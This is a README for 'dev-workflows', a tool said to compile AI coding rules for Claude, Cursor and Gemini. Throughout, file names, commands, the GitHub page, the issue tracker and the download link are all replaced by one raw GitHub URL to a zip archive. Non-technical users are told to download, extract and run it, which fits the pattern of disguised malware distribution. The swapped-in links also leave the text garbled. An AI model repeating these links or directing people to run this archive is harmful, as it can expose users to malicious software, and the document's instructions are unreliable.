⚙️ dev-workflows - Compile AI Rules for Every Tool

dev-workflows is a simple command-line tool that helps you manage AI coding rules. Instead of writing rules separately for each AI tool, you write your rules once. dev-workflows then compiles those rules into formats that popular AI tools like CLAUDE and GEMINI can use.

This means less work for you and a consistent way to tell AI tools how to write and review code. The tool creates files like https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip, .cursor/rules, and https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip from your rules.

You do not need to understand coding to use dev-workflows. The instructions below will walk you through downloading and running the tool step-by-step.

Before downloading, ensure your computer meets these needs:

• Operating System: Windows 10 or newer, macOS 10.13 or newer, or recent Linux distributions
• Processor: Intel or AMD processor, 1 GHz or faster
• Memory (RAM): At least 2 GB
• Disk Space: Minimum 100 MB free space
• Internet Connection: Required to download the tool

You do not need any programming language or environment installed. dev-workflows is self-contained and ready to run after download.

This guide will help you get dev-workflows running on your computer in a few simple steps.

1. Go to the official download page by clicking the link below:

   

2. Once on the page, look for the latest release, usually marked as "Latest" or with a version number like v1.0.

3. There you will see files available for different systems:

   • For Windows: Look for .exe or .zip files with "windows" in the name.
   • For macOS: Look for .dmg or .zip files with "mac" or "darwin".
   • For Linux: Look for https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip or .AppImage files with "linux".

4. Download the file suitable for your computer by clicking its name.

5. If you downloaded a .zip or https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip archive, unzip or extract its contents to a folder you can find easily, like your desktop or downloads folder.

6. No further installation is needed. The program can run directly from the extracted folder.

You will run dev-workflows from the command line. This guide assumes no prior experience with command lines.

1. Press the Windows key and type cmd, then press Enter. This opens the Command Prompt window.

2. Use the command below to change to the folder where you saved dev-workflows. Replace path_to_folder with your actual folder name. For example:

   cd C:\Users\YourName\Downloads\dev-workflows
   

3. To run dev-workflows, type:

   https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip
   

   and press Enter.

1. Open Spotlight by pressing Cmd + Space. Type Terminal and press Enter.

2. Change to the folder with dev-workflows, for example:

   cd ~/Downloads/dev-workflows
   

3. To run dev-workflows, type:

   ./dev-workflows
   

   and press Enter.

1. Open the terminal. This varies by system, but you can often find it in your applications menu.

2. Change to the folder with dev-workflows:

   cd ~/Downloads/dev-workflows
   

3. Run dev-workflows with:

   ./dev-workflows
   

Once you start dev-workflows, the tool reads your AI coding rules from a single file or folder you specify. It then creates output files for each AI tool you want to use.

A typical workflow:

1. Prepare your coding rules in a simple text file. Follow any format instructions in the documentation or examples inside the docs/ folder of the release.

2. Run dev-workflows and provide the location of your rules file. For example:

   dev-workflows compile --source https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip
   

3. The tool generates output files such as:

   • https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip for Claude AI
   • .cursor/rules for Cursor AI
   • https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip for Gemini AI

4. Use these files with your AI coding tools to ensure they follow your rules consistently.

If dev-workflows does not run correctly or you get error messages, try these steps:

• Make sure you are running the correct file for your operating system.
• Confirm you typed the commands exactly as shown, including spelling and spaces.
• Check you are in the right folder where dev-workflows is saved.
• If the program says a file is missing, verify the rules file path you provided is correct.
• Restart your computer if problems continue.

You can also find help on the GitHub Issues page for dev-workflows:

https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip

• Write AI coding rules once, generate outputs for multiple AI tools.
• Supports Claude, Cursor, and Gemini AI platforms.
• Works on Windows, macOS, and Linux.
• Easy to run with no programming setup.
• Keeps all your AI coding rules consistent.

• Keep your rules file clear and organized. Use simple language and consistent formatting.
• Regularly update dev-workflows from the releases page to get bug fixes and new features.
• Use the generated files as the standard rule set when working with different AI coding assistants.

If you need help, open an issue on the GitHub page or check the FAQ in the release documentation.

GitHub Page: https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip

Issue Tracker: https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip

• Download dev-workflows: https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip
• Documentation files are included in each release package.

Thank you for choosing dev-workflows to manage your AI coding rules.